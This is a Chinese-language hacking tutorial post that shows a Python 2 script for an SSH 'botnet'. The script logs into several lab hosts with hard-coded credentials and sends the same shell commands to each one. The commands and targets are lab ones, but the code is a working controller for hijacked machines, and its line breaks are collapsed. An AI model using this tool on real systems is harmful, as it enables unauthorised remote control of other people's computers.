Python黑客攻防,构建SSH僵尸网络!黑客也不难撒!
前言
攻击者在达成恶意目的时,通常会使用被黑掉的计算机群。我们称之为僵尸网络”,因为被黑掉的电脑会像僵尸一样执行指令。
为构建僵尸网络,我们必须引入一一个新的概念一类。 类的概念是面向编程对象和编程模型的基础。在这一编程模型中,我们会把各个对象和它们所关联的方法一起实例化。 在我们的僵尸网络中,每个单独的僵尸或client(客户端)都需要有能连上某台肉机,并把命令发送给肉机的能力。
# coding=utf-8import optparsefrom pexpect import pxsshclass Client(object): def __init__(self, host, user, password): self.host = host self.user = user self.password = password self.session = self.connect() def connect(self): try: s = pxssh.pxssh() s.login(self.host, self.user, self.password) return s except Exception, e: print e print '[-] Error Connecting' def send_command(self, cmd): self.session.sendline(cmd) self.session.prompt() return self.session.beforedef botnetCommand(command): for client in botNet: output = client.send_command(command) print '[*] Output from: ' + client.host print '[+] Command is: ' + output + '\n'def addClient(host, user, password): client = Client(host, user, password) botNet.append(client)botNet = []addClient('192.168.1.16', 'msfadmin', 'msfadmin')addClient('192.168.1.14', 'root', '1')botnetCommand('uname -a')botnetCommand('whoami')
我们来看一下生成Client()类对象的代码。为了构造client 对象,需要主机名、用户名,以及密码或**。同时,这个类还要包含维持与肉机连接所需的方法—— connect()、send_command()和alive()。请注意,当我们引用属于类中的变量时,是以self后接变量名的方式表示它的。为了构建僵尸网络,我们要建立一个名为botnet 的全局数组,其中记录了单个client对象。接下来,我们要编写一个名为addClient()的方法, 它的输入是主机名、用户和密码,并以此实例化一个client对象,并把它添加到botnet 数组里。接下来的botnetCommand()函数只要一个参数——要发布的命令。这个函数遍历整个数组,把命令发送到botnet 数组中的每个chient上。
测试
kalilinux本机和msf靶机
今天就到这,需要代码加群:850591259